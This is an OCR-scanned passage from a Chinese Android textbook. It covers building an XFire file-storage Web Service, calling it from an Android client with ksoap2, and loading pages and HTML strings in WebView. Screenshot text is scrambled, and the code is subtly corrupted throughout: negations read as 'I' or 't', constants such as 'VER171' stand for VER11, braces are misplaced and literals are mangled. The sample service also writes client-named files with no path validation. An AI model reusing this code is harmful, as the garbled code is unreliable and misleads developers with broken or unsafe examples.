择 新 建 项 目 〈( 如 图 12-12 所 示 ) ， 而 后 输入 项 目 名 称 并 选择 开发 Web Service 的 技术 ,如 图 12-13 
所 示 。 


New Web Service Project _Iojx| 
New Web service Project 
Web service project creation detals /x 
Web Project Detais 
FrF | | 
Select a wizard ed Location: Use defauk location 
Create a Web service Project | Drecorrs wasRepoet Browss, 


国 Report web Project 


-Web Service & J2EE Detals 
Web Pr 
前 web Project 人 ee 
C REST OAXRS) 


| PEE specfication: C JavaEES.0 (JOEE14 ( J2EE13 


@ co | wy | mm ] co | 
图 12-12 ”新建 Web Service 项 目 图 12-13 输入 项 目 名 称 并 选择 开发 技术 


(2) 单 击 “ 下 一 步 (Next) ”按钮 ， 进 入 如 图 12-14 所 示 的 界面 ， 提 示 用 户 输入 项 目的 映 
射 路 径 ， 此 处 为 /services/#。 

(3) 而 后 会 询问 用 户 要 添加 的 组 件 包 ， 由 于 本 程序 只 是 完成 基本 功能 ， 所 以 只 需要 添加 一 
个 核心 开发 包 即 可 ， 如 图 12-15 所 示 。 

Web Service 项 目 建立 完成 之 后 ， 下 面 就 可 以 进行 程序 的 开发 。 在 Web Service 技术 中 ， 最 
为 重要 的 就 是 接口 ， 即 使 用 接口 将 服务 器 端的 远程 方法 暴露 给 客户 端 。 


iolxl lolxl 

New Web Service Project 学 Project Library configuration 

Create Fire serviet and services xml Jr Add MyEchpse Fire and User lbraries to project Je 
[create xFire Serviet Select the braries to add to project buidpath 

Serviet name: FFveservet Show: [7 MyEcipse Libraries 厂 User Lbraries 

‘Servet dass: gcodehaus.xfre transport ,Nttp,XFreConfgurable5ervlet 5 加 ce re te 

Serviet mapping; liservicesi* 日 wrire 1.2 ay6z Lbraries - <MyE cipse-Library> 

Dxrre 1.1 ye Lbraries (deprecated) - Meets Library> 
[xFire Web Services Configuration 加 
Em wFre 1.2 Securky Lbraries ~ eat” 
ED 口 wrire 1.2 Miscelaneous Lbraries - <yEdipse-Lbrary> 
Configuration Fle Name: [Gervices xm 人 
ce | es coe 加 [CE | | 


图 12-14 配置 映射 路 径 图 12-15 添加 XFire 的 开发 包 


【 例 12-20】 定义 Web Services 的 操作 接口 一 一 IFileServicesjava 
package org.Ixh.filestore.services; 
public interface IFileServices { 
jp 
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* 用 于 文件 的 保存 

* @param fileName 指定 文件 的 名 称 

* @param content 指定 文件 的 内 容 

* @throws Exception 异常 交 给 被 调用 处 处 理 

wl 
public void save(String fileName, String content) throws Exception ; 
jp 

* 读 取 文件 

* @param fileName 指定 的 文件 名 称 

* @return 文件 的 内 容 

* @throws Exception 异常 交 给 被 调用 处 处 理 

yy 
public String load(String fleName) throws Exception ; 


} 

本 接口 由 save0 和 load0) 方 法 组 成 ， 主 要 功能 是 完成 文件 保存 和 读 取 的 操作 ， 但 是 需要 注意 
的 是 ， 本 程序 只 是 完成 了 一 些 基本 的 Web Service 操作 的 调用 实现 ,没有 做 任何 验证 操作 以 及 复 
杂 的 业务 设计 。 

【 例 12-21】 定义 接口 的 实现 类 
package org.Ixh.filestore.services.impl; 

import java.io.File; 

import java.io.FilelnputStream; 

import java.io.FileOutputStream; 

import java.io.PrintStream; 

import java.util.Scanner; 

import org.Ixh.filestore.services.IFileServices; 

public class FileServicesImpl implements IFileServices { 

public void save(String fleName, String content) throws Exception { 
File file = new File("D:" + File.separator + "userprofile" 


FileServicesImpl.java 


+ File.separator + fileName); // 指 定 文件 路 径 

if (Ifile.getParentFile().exists()) { // 父 级 文件 夹 不 存在 
file.getParentFile().mkdirs(); // 创 建文 件 夹 

} 
PrintStream out = new PrintStream( 

new FileOutputStream(file)); 1/ 打 印 流 
out.print(content); // 输 出 内 容 
out.close(); // 关 闭 打印 流 


1 
public String load(String fileName) throws Exception { 


File file = new File("D:" + File.separator + "userprofile" 


+ File.separator + fileName); /指定 文件 路 径 

if (tfile.exists()) { // 父 级 文件 夹 不 存在 
return null; /文件 不 存在 ， 返 回 null 

} 
StringBuffer buf = new StringBuffer(); /接收 全 部 数据 
Scanner scan = new Scanner( 

new FilelnputStream(file)) ; /使 用 Scanner 接收 
scan.useDelimiter("\n") ; // 设 置 分 隔 符 
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while (scan.hasNext()) { // 循 环 读 取 数据 
buf.append(scan.next()); /向 StringBuffer 中 追加 

上 

scan.close(); /关闭 输入 流 

return buftoString(); // 返 回 字符 串 数据 


Dy 
} 
本 程序 的 代码 较 简 单 ， 所 有 文件 的 保存 路 径直 接 由 服务 器 端 指定 ， 而 服务 器 端 将 使 用 
PrintStream() 和 Scanner() 方 法 进行 文件 的 写 入 和 读 取 。 
当 接口 和 实现 类 完成 之 后 , 下 面 就 需要 在 Web Service 配置 文件 (services xml) 中 进行 配置 ， 
注册 该 接口 和 实现 类 ， 用 户 可 以 直接 修改 项 目 中 的 WebServices\services.xml 文件 。 
【 例 12-22】 修改 services.xml 文件 配置 接口 和 实现 类 
<?xml version="1.0" encoding="UTF-8"?> 
<beans xmIns="http:/xfire.codehaus.org/config/1.0"> 
<service> 
<name>mldn</name> 
<serviceClass>org.Ixh.filestore.services.IFileServices</serviceClass> 
<implementationClass> 
org.Ixh.filestore.services.impl.FileServicesimpl 
</implementationClass> 
<style>wrapped</style> 
<use>literal</use> 
<scope>application</scope> 
</service> 
</beans> 
关于 此 配置 部 分 ， 读 者 可 以 不 用 去 关注 ， 只 需要 按照 给 出 的 内 容 编写 即 可 ， 而 后 将 此 项 目 
发 布 到 Tomcat 上 ， 并 且 输 入 访问 路 径 http://www.mldnjava.cn/FileProject/services/mldn?wsdl， 程 
序 的 显示 效果 如 图 12-16 所 示 。 
=lolx| 
GO ronnie serveesininwsd 3 x | [wma Dl- 
窗 安国 tpijliocahostFieProjectlservicesimidniwsd 从- 四 - 师 - .RED 合 IRMO.” 


<?xml version="1.0" encoding="UTF-8" ?> 

- <wsdl:definitions targetNamespace="http://services.filestore.Ixh.org" 
xmlns:soapenc1l2="http://www-w3.org/2003/05/soap-encoding” 
xmins: tns="http:/ /services.filestore.lxh.org" 
xmilns:wsdl="http://schemas.xmlsoap.org/wsdl/" 
xmins:xsd="http:/ /www.w3.0rg/2001/XMLSchema" 
xmins;soap11="http://schemas.xmlsoap.org/soap/envelope/" 
xmins:wsdlsoap="http://schemas.xmlsoap.org/wsdl/soap/" 
xmins:soapenc11="http://schemas.xmlsoap.org/soap/encoding/" 
xmlns:soap12="http://www-w3.org/2003/05/soap-envelope"> 

- <wsdl:types> 襄 


edcchamn rnlnc ssrd_nkesmoy fromemes uv2 ev yamma LVM Eohamma® 
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图 12-16 发 布 的 Web Services 


配置 公 网 IP。 
| 本 程序 虽然 使 用 Tomcat 发布 ,但 是 访问 时 使 用 的 是 公 网 卫 ， 这 一 点 读者 在 开发 时 不 要 弄 ， 
， 错 ， 否 则 Android 程序 将 无 法 访问 。 
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至 此 ， 一 个 Web Service 程序 的 服务 器 端 即 开发 完成 ， 下 面 即 可 进行 Android 客户 端 程序 的 
开发 。 


12.3.2 开发 Android 客户 端 访问 Web Service 


Android 程序 要 调用 Web Service 程序 ， 并 不 像 调用 JSP 或 Socket 程序 那样 直接 使 用 系统 提 
供 的 类 完成 ， 因 为 Android 中 并 没有 提供 直接 与 Web Service 互 调用 的 操作 类 库 ， 所 以 必须 依靠 
第 三 方 提供 的 类 库 才 可 以 完成 ， 比 较 常 用 的 就 是 ksoap 类 库 ， 读 者 可 以 直接 在 网 站 http://code. 
google.com/p/ksoap2-android/ 上 下 载 ， 如 图 12-17 所 示 。 


od -A lahtweight and efficient SOAP lorary lor the Android platform. - Coogle Pr Widoms Inkermet EXOler lolal 
所 tpyreode,oooge,comiplkeoapz-androd 司 |5 xmwwmowmwam 四 日 
和 conzonaod -Aliveont md effort seap tr, | | 从 -四 - 全 -ND -全 TARO -> 


Why avntes v |Sigonin 要 
Your version oflntsmet Explorer is not supported. Try a browser that cortributes to open source. such as Firefox. Gocgle Chrome or Google Chroma Frame 


俐 ksoap2-android 


A lightweight and efficient SOAP library for the Android platorm Search projects 
| projectHome | Dounlosds Wis lieuse Seurce 
Summary Updstes People 


Project Information ksoap2-android 
Activily sl Hgh 
Project feeds The ksoap2-android projoct provides s lightwoight and oficiont SOAP liorary for the Android platform. 


Code license ltis a fork of the kSOAP2 library that is tastec rd with the Androd platiorm in mind It also has a bunch of more foatures and enhancements 
MITLicense and takes in bug fixes and contributions nd ee Tegulary kis also easily available for Maven and Ant users alke. 


Labels For more nformation check out our wiki and jon cur mailing list 

androd, Java, soap, ksoap2 

And for the impatient the jars are avaiable in a maven repository here on google code or for dovnload from there as a bundle. More on the 
How to Use Wik page 


saMembers 
4commiter ksoap2-androld ls Iicensed undar MIT and can therefore be included in your commercial appication. I you intend to do so please read the 
detalls on the Licensing pag: 
Featured | 
厂矿 厂矿 厂 三原 [Ra 


图 12-17 ksoap 下 载 页 面 


进入 到 ksoap 的 下 载 页 面 之 后 ， 下 载 ksoap2-android-assembly-2.5.8-jar-with-dependencies.jar 
包 ， 然 后 将 其 配置 到 Android 项 目的 Java Build Path 中 即 可 ， 如 图 12-18 所 示 。 


ID 过 
EE Java Build path Dm 
轩 -Resource 
Androd 加 source | GG projects BB Ubraries | S order and Export | 
hy JARs and dass folders on the buld path 
Java Bulld Path 
ey | pe | 
由 -Java Compier 由 . 
na 悦 | 


加 ES 


图 12-18 配置 ksoap 开发 包 
a 
了 提示 
以 下 以 代码 实现 为 主 。 
由 于 ksoap 不 属于 Android 系统 自 带 的 开发 包 ， 而 且 也 不 是 本 书 的 学 习 重 点 ， 所 以 对 于 
此 操作 的 使 用 ， 不 再 为 读者 详细 列 出 ， 只 给 出 在 程序 中 所 需要 操作 的 解释 ， 有 兴趣 的 读者 可 
以 自行 查找 相关 文档 深入 学 习 | 
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配置 完成 后 ， 即 可 在 Android 中 编写 程序 调用 Web Service 程序 ， 具 体 步 又 如 下 。 
(1) 通过 org.ksoap2.serialization.SoapObject 类 来 指定 要 调用 的 Web Service 程序 所 需要 的 
命名 空间 ， 而 SoapObject 类 的 常用 方法 如 表 12-6 所 示 。 


表 12-6 SoapObject 类 的 常用 方法 
描述 

实例 化 SoapObject 类 对 象 

取得 要 调用 的 方法 名 称 
public String getNamespaceO 取得 Soap 对 象 的 命名 空间 
public Object getProperty(java.lang. String name) 取出 指定 名 称 的 属性 
public SoapObject addProperty(String name, Object i 设置 调用 Web Service 方 法 时 
value N 所 需要 的 参数 


下 面 就 可 以 使 用 SoapObject 进行 数据 的 封装 。 以 调用 Web Service 程序 中 的 save() 方 法 为 例 ， 
户 可 以 通过 如 下 代码 实例 化 SoapObject 类 的 对 象 : 

private static final String NAMESPACE = "http://www.mldnjava.cn/"; 

private static final String SAVE_METHOD_NAME = "save"; 

SoapObject soapObject = new SoapObject(NAMESPACE, SAVE_METHOD_NAME); 


(2) 取得 SoapObject 的 实例 化 对 象 之 后 ， 即 可 通过 SoapObject 类 的 addProperty() 方 法 设置 
调用 save0 方 法 时 所 需要 的 参数 ， 而 设置 的 顺序 要 与 Web Service 程序 端的 save() 方 法 的 参数 顺 
序 符合 ， 由 于 在 本 操作 中 只 需要 两 个 参数 ， 所 以 可 以 编写 如 下 代码 : 


soapObject.addProperty("fileName", "mldn.txt"); // 设 置 参 数 
soapObject.addProperty("content", "北京 魔 乐 科技 软件 学 院 " 
+" (www.MLDNJAVA.cn) "); /设置 参数 


在 调用 addProperty0 方 法 时 ,不 一 定 非 要 和 服务 器 端 上 的 方法 名 称 、 参 数 名 称 一 样 ， 因 为 在 
旦 序 执行 时 也 只 是 根据 设置 参数 的 顺序 来 决定 的 ， 而 不 是 根据 名 称 。 
(3) 生成 调用 Web Service 程序 的 SOAP 请 求 信息 ， 此 时 可 以 利用 org.ksoap2.serialization. 
SoapSerializationEnvelope 类 完成 ， 而 此 类 的 常用 操作 如 表 12-7 所 示 。 
表 12-7 SoapSerializationEnvelope 类 提供 的 常用 操作 
No. 方法 、 常 量 、 属 性 描述 
1 _|public static final int VER11 使 用 SOAP 11 版 本 操作 
2 |public Object bodyIn 封装 输入 的 SoapObject 对 象 
3 |public Object bodyOut 封装 输出 的 SoapObject 对 象 
是 否 为 NET 连接 ， 此 处 设置 为 false， 如 果 
设置 为 tue， 则 服务 器 端 无 法 接收 请 求 参数 
实例 化 SoapSerializationEnvelope 类 对 象 


4 |public boolean dotNet 


5 |public SoapSerializationEnvelope(int version) 
public void setOutputSoapObject(Object 


设置 要 输出 的 SoapObject 对 象 


了 解 了 SoapSerializationEnvelope 类 的 基本 操作 之 后 ， 下 面 就 可 以 使 用 如 下 代码 进行 访问 : 
SoapSerializationEnvelope envelope = 

new SoapSerializationEnvelope(SoapEnvelope.VER171); /给 出 版 本 号 
envelope.bodyOut = rpc; /1/ 输 出 对 象 
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envelope.dotNet = false; // 不 是 .NET 服务 器 端 
envelope.setOutputSoapObject(rpc); /输出 SoapObject 
(4) 创建 orgksoap2.transport HttpTransportSE 类 对 象 ， 并 且 利 用 此 对 象 调用 Web Service 
端的 操作 方法 ， 此 类 的 常用 操作 如 表 12-8 所 示 。 


表 12-8 HttpTransportSE 类 的 常用 操作 


描 述 
是 否 调试 ， 如 果 设 置 为 tue， 则 表 
示 调 试 

实例 化 HttpTransportSE 类 的 对 象 


方法 、 属 性 


和 public boolean debug 


| public HttpTransportSE(String url) 
public void call(String soapAction, SoapEnvelope 


envelope) throws IOException, org.xmlpull.v1. 调用 Web Service 端的 操作 方法 


XmlPullParserException 


而 后 用 户 可 以 编写 如 下 代码 进行 Web Service 程序 的 调用 : 
private static String URL = "http://www.mldnjava.cn/FileProject/services/mldn"; 
private static String SOAP_ACTION = "http://www.mldnjava.cn/FileProject/services/"; 


HttpTransportSE trans = new HttpTransportSE(URL); // 指 定 地 址 
trans.debug = true; // 使 用 调试 
try{ 

trans.call(SOAP_ACTION, envelope) ; // 调 用 方法 
} catch (Exception e){ 

e.printStackTrace(); 
} 


(5) 接收 Web Service 的 返回 值 ( 调 用 load0 方 法 ) ， 可 以 直接 通过 以 下 代码 完成 : 
SoapObject result = (SoapObject) envelope.bodyln; // 接 收 返回 值 

(6) 由 于 Android 程序 要 访问 Web Service 程序 属于 网 络 调用 , 所 以 还 要 修改 AndroidManifest. 

xml 文件 ， 配 置 网 络 访问 权限 : 

<uses-permission android:name="android.permission.INTERNET" /> 

了 解 了 以 上 操作 步骤 之 后 ， 下 面 即 可 进行 Android 客户 端的 开发 。 

【 例 12-23】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="W/_parent> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button /按钮 组 件 

android:id="@+id/save” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 加 过 WebService 任 六 立信 '/> /| 默认 显 示 文 字 
<Button // 按 钮 组 件 
android:id="@+id/load” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 加 过 WebService 若 殉 疼 扎 "人 > /| 默认 显示 文字 
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<TextView /文本 显示 组 件 
android:id="@+id/show” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
android:text=" 遇 元 葡 伴 研 碟 内 下 /> // 默 认 显示 文字 

</LinearLayout> 


在 本 布局 管理 器 中 定义 了 两 个 按钮 组 件 ， 这 两 个 按钮 在 随后 要 绑 定 不 同 的 事件 ， 这 些 事件 

对 应 着 两 个 不 同 的 Web Services 方法 调用 。 
【 例 12-24】 定义 Activity 程序 〈 分 段 列 出 ) 

package org.Ixh.demo; 

import org.ksoap2.SoapEnvelope; 

import org.ksoap2.serialization.SoapObject; 

import org.ksoap2.serialization.SoapSerializationEnvelope; 

import org.ksoap2.transport.HttpTransportSE; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener 

import android.widget.Button; 

import android.widget. TextView; 

import android.widget. Toast; 

public class MyWebServiceDemo extends Activity { 


private Button save = null ; /按钮 组 件 
private Button load = null ; /按钮 组 件 
private TextView show = null ; /文本 显示 组 件 


private static final String NAMESPACE = "http://www.mldnjava.cn/"; 
private static String URL = "http://www.mldnjava.cn/FileProject/services/mldn"; 


private static final String SAVE_METHOD_NAME = "save"; /方法 
private static final String LOAD_METHOD_NAME = "load"; /方法 
private static String SOAP_ACTION = "http://www.mldnjava.cn/FileProject/services/"; 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.save = (Button) superfindViewByld(R.id.save) ; // 取 得 组 件 
this.load = (Button) super.findViewByld(R.id./oad) ; // 取 得 组 件 
this.show = (TextView) super.findViewByld(R.id.show) ; // 取 得 组 件 
this.save.setOnClickListener(new SaveOnClickListenerlImpl()) ; // 单 击 事件 
this.load.setOnClickListener(new LoadOnClickListenerImpl()) ; // 单 击 事件 


} 
本 程序 定义 了 几 个 重要 的 全 局 变量 。 
回 NAMESPACE: 表示 要 调用 Web Service 的 命名 空间 。 
回 URL: 服务 的 地 址 ， 但 是 后 面 不 需要 编写 *.wsdl。 
回 SAVE METHOD NAME: 要 调用 的 方法 名 称 。 
LOAD _ METHOD NAME: 要 调用 的 方法 名 称 。 
SOAP ACTION: 指定 要 操作 的 SOAP 路 径 。 
private class SaveOnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 
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SoapObject soapObject = new SoapObject(NAMESPACE, SAVE_METHOD_NAME); 
soapObject.addProperty("fileName", "mldn.txt"); // 设 置 参数 
soapObject.addProperty("content", "北京 魔 乐 科技 软件 学 院 " 


+" (www.MLDNJAVA.cn) "); // 设 置 参数 

SoapSerializationEnvelope envelope = 

new SoapSerializationEnvelope(SoapEnvelope.VER1T); // 给 出 版 本 号 
envelope.bodyOut = soapObject; // 输 出 对 象 
envelope.dotNet = false; // 不 是 .NET 服务 器 
envelope.setOutputSoapObject(soapObject); // 输 出 SoapObject 
HttpTransportSE trans = new HttpTransportSE(URL); /指定 地 址 
trans.debug = true; // 使 用 调试 
try{ 

trans.call(SOAP_ACTION, envelope) ; // 调 用 方法 


} catch (Exception e){ 


e.printStackTrace(); 


Toast.makeText(MyWebServiceDemo.this, "数据 保存 成 功 ! "， 


Toast.LENGTH_SHORT); /提示 信 息 


本 事件 处 理 类 为 调用 save() 方 法 的 Web Service 程序 ， 当 调用 成 功 之 后 ， 会 通过 Toast 进行 


private class LoadOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 


} 
} 
提示 。 
} 
} 
本 事件 处 理 主 


SoapObject soap = new SoapObject(NAMESPACE, LOAD_METHOD_NAME); 
soap.addProperty("fileName", "mldn.txt"); /设置 参数 
SoapSerializationEnvelope envelope = 

new SoapSerializationEnvelope(SoapEnvelope.VER171); /给 出 版 本 号 


envelope.bodyOut = soap; // 输 出 对 象 
envelope.dotNet = false; // 不 是 .NET 服务 器 
envelope.setOutputSoapObject(soap); /输出 SoapObject 
HttpTransportSE trans = new HttpTransportSE(URL); /指定 要 操作 的 URL 
trans.debug = true; // 允 许 调试 
try{ 

trans.call(SOAP_ACTION, envelope) ; // 调 用 指定 操作 
} catch (Exception e){ 

e.printStackTrace(); 
SoapObject result = (SoapObject) envelope.bodyln; // 接 收 返 回 值 
MyWebServiceDemo.this.show.setText("Web Service 返回 数据 是 : " 

+ result.getProperty(0)); 1/ 设置 文本 内 容 


E 要 操作 的 是 调用 Web Service 程序 的 load0 方 法 ， 所 有 通过 Web Service 程序 


保存 的 数据 都 通过 bodyIn 属性 封装 ， 而 后 可 以 利用 SoapObject 类 中 的 getProperty0 方 法 取得 第 


-个 参数 的 内 容 ， 


并 将 此 内 容 设 置 到 文本 显示 组 件 中 进行 显示 ,程序 调用 load() 方 法 后 的 显示 界 


面 如 图 12-19 所 示 。 
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基 大 计 10:07 
Webservice 调 用 


通过 WebService 保 存 文件 


通过 WebServlce 读 取 文件 


图 12-19 ”接收 Web Service 返回 的 数据 


12.4 WebView 组 件 


WebView 是 一 个 开放 的 浏览 器 组 件 ， 是 基于 WebKit 内 核 开发 出 来 的 ， 如 Safari、Google 
Chrome 浏览 器 都 是 通过 WebView 实现 的 ， 而 在 Android 系统 中 ， 默 认 提 供 了 WebView 组 件 的 
支持 , 用 户 可 以 直接 使 用 WebView 组 件 显示 网 页 的 内 容 , 或 者 是 将 一 些 指定 的 HTML 文件 嵌入 
进来 。 除 了 支持 各 个 浏览 器 的 “前 进 ”、“ 后 退 ” 等 功能 之 外 ， 最 为 强大 的 是 在 WebView 组 件 
之 中 也 支持 JavaScript 的 操作 。 


可 


提示 
WebView 组 件 的 最 大 用 途 。 
通过 WebView 组 件 可 以 进行 页 面 的 显示 ， 实 际 上 这 与 Activity 的 功能 有 些 类 似 ， 有 时 ， 
开发 人 员 可 以 将 一 些 已 经 实现 好 的 HTML 代码 直接 用 WebView 显示 ， 以 减少 界面 开发 的 复 
杂 度 , 但 是 本 书 并 不 建议 读者 这 样 去 做 Android 界面 ， 因 为 这 种 开发 的 运行 速度 并 不 太 理想 。 


android.webkit.WebView 的 继承 结构 如 下 : 
java.lang.Object 


b android.view.View 
b android.view.ViewGroup 
b android.widget.AbsoluteLayout 
b android.webkit.WebView 
通过 继承 结构 可 以 发 现 , 实际 上 WebView 是 AbsoluteLayout (绝对 定位 ) 的 子 类 , WebView 
组 件 的 常用 方法 如 表 12-9 所 示 。 
表 12-9 WebView 组 件 的 常用 方法 
方 法 描 ” 述 
public WebView(Context context) 取得 WebView 类 的 实例 化 对 象 


public void addJavaScriptInterface(Object obj, String 省 绑 定 一 个 JavaScript 的 对 象 


interfaceName)1 
public boolean canGoBackO 判断 能 和 否 实现 后 退 操作 


| 断 是 否 可 以 后 退 或 前 进 指定 
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续 表 
No. 廊 “法 : 描述 
5 _|public boolean canGoForwardO 普 j 判断 是 否 可 以 前 进 
6 |public boolean canZoomIO EE 判断 是 否 可 以 缩小 
7 _|public boolean canZoomOnutO) 普 判断 是 否 可 以 放大 


二 缓存 ,如果 是 false 则 只 清空 
8 public void clearCache(boolean includeDiskFiles) 人 


9 |public void clearFormData0 普通 空 表单 的 填写 
10 | public void clearHisto 清空 历史 信息 


11 |public int getProgressO = 得 到 访问 进度 

12 |public String getTitle 普通 取 得 当前 访问 页 面 的 标题 
14 |public void goBackOrForward(int steps 后 退 或 前 进 指定 的 步 数 
15 |public void goForwardO 普通 前 进一步 


public void loadData(String data, String mimeType, 到 通过 指定 的 字符 串 进 行 页 面 的 
String encoding 四 加 载 


17 |public void loadUrl(String url) 读 取 指定 的 URL 地 址 数据 
18 |public void reload0 普通 重新 加 载 页 面 

blic void saveP: d(String host Stri i 
public Vold saver assWwor ( ng hosi ing 普 通 保 存 密 在 


username, String password. 


20 re EY setDownloadListener(DownloadListener | 对 下 载 文 件 进行 监听 
下 Ee void setWebChromeClient(WebChromeClient 使 用 Google Chrome 作为 客户 端 
22 ee void setWebViewClient(WebViewClient 普通 i 


23 ublic boolean zoomIn() 缩小 


24 |public boolean zoomOutO 放 大 
25 |bublic WebSettings getSettingsO 返回 WebSettings 对 象 


通过 表 12-9 所 示 的 方法 可 以 很 容易 地 观察 到 WebView 的 基本 操作 形式 ,下面 通过 几 段 具体 
的 程序 来 讲解 如 何 使 用 WebView 组 件 进行 页 面 的 加 载 。 


12.4.1 加载 网 页 


要 想 使 用 WebView 加 载 网 页 ， 最 简单 的 方法 就 是 使 用 loadUrl0 方 法 ， 此 方法 只 需要 输入 网 
页 的 URL 地 址 即 可 ， 下 面 通 过 一 个 程序 进行 演示 。 在 本 程序 中 将 通过 文本 框 输入 一 个 URL 地 
址 ， 而 后 当 用 户 单 击 浏览 后 ， 将 指定 的 URL 页 面 加 载 到 WebView 组 件 中 。 

【 例 12-25】 定义 布局 管理 器 一 一 main.xml 


<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android" 
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android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout // 内 广 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android” 
android:orientation="horizonta/”" /所 有 组 件 水 平 摆 放 
android:layout_width="fil_parent” // 内 广 线 性 布局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="wrap_content’> // 布 局 管理 器 的 高 度 为 内 嵌 组 件 高 度 
<Button 
android:id="@+id/open” /| 组件 iD， 程序 中 使 用 


android:layout_width="wrap_content” ”// 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 


android:text="#7 开 " /> // 默 认 打 开 文字 
<EditText // 文 本 编辑 组 件 
android:id="@+id/inputurl" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text="http://" /> /| 默认 显 示 文 字 
</LinearLayout> // 内 赃 布 局 管理 器 完结 
<WebView // 定 义 WebView 组 件 
android:id="@+id/Wwebview” // 组 加 1D， 程序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 剩余 屏幕 宽度 
android:layout_height="fill_parent"/> // 组 件 高 度 为 剩余 屏幕 高 度 
</LinearLayout> 


本 布局 管理 器 只 是 作为 一 个 输入 页 面 访问 的 显示 功能 出 现 ， 这 与 一 般 浏 览 器 显示 的 界面 类 
当 用 户 在 文本 组 件 中 输入 地 址 时 ， 将 通过 单 击 事件 打开 指定 的 页 面 并 进行 加 载 。 
【 例 12-26】 定义 Activity 程序 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener 

import android.webkit,WebView; 

import android.widget.Button; 

import android.widget.EditText; 

public class MyWebViewDemo extends Activity { 


private EditText inputurl = null ; // 文 本 输入 组 件 
private Button open = null ; /按钮 组 件 
private WebView webview = null ; /WebView 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 默 认 布 局 管理 器 
this.inputurl = (EditText) super.findViewByld(R.id.inputur) ; // 取 得 组 件 
this.open = (Button) super.findViewByld(R.id.open) ; // 取 得 组 件 


this.webview = (WebView) super .findViewByld(R.id.webview) ; // 取 得 组 件 
this.open.setOnClickListener(new OpenOnClickListenerImpl()) ; ”// 设 置 单 击 事件 


} 
private class OpenOnClickListenerImpl implements OnClickListener { 
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@Override 
public void onClick(View view) { 
String url = MyWebViewDemothis.inputurl.getText().toString() ; // 输 入 文本 
MyWebViewDemo.this.webview.loadUrl(url) ; /加 载 页 面 
} 
} 


} 
【 例 12-27】 修改 AndroidManifest.xml 文件 配置 权限 
<uses-permission android:name="android.permission.INTERNET"/> 
本 Activity 程序 的 主要 功能 是 通过 用 户 输入 的 网 址 打开 指定 的 页 面 , 并 将 页 面 的 内 容 通 过 
WebView 显示 ， 程 序 的 运行 效果 如 图 12-20 所 示 。 
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图 12-20 ”加 载 网 页 


除了 通过 指定 的 URL 加 载 页 面 之 外 ， 也 可 以 将 字符 串 中 定义 的 HTML 标记 变 为 网 页 ， 在 
WebView 中 显示 。 
【 例 12-28】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<WebView // 定 义 WebView 组 件 

android:id="@+id/webview”" 1/ 组件 ID， 程 序 中 使 用 

android:layout_width="fill_parent” 1/ 组件 宽度 为 屏幕 宽度 

android:layout_height="fill_parent"/> // 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


为 了 方便 操作 ,在 本 程序 中 直接 定义 了 一 个 WebView 组 件 , 而 后 通过 程序 将 一 段 包 含 HTML 
代码 的 字符 串 内 容 在 此 组 件 中 显示 。 
【 例 12-29】 定义 Activity 程序 
package org.lxh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
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import android.webkit.WebView:; 
public class MyWebViewDemo extends Activity { 
private WebView webview = null ; /WebView 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); /默认 布局 管理 器 
this.webview = (WebView) super .findViewByld(R.id.webview) ; /取得 组 件 
String data = "<h1>MLDNJava Training.</h1>” 
+ "<h2><a href=\\>www.mldnjava.cn</a></h2>"; /内 容 
this.webview.loadData(data, "text/html", "UTF-8") ; 1/ 读 取 数据 


} 
} 
【 例 12-30】 修改 AndroidManifestxml 文件 配置 权限 
<uses-permission android:name="android.permission.INTERNET"/> 
本 程序 直接 将 WebView 所 需要 显示 的 内 容 定义 为 了 一 个 字符 串 ， 字 符 串 中 的 内 容 将 按照 
HTML 语法 规范 进行 编号， 程序 的 运行 效果 如 图 12-21 所 示 。 


CEET7TTTTES 


|Sjxl 


MLDNJava Training. 


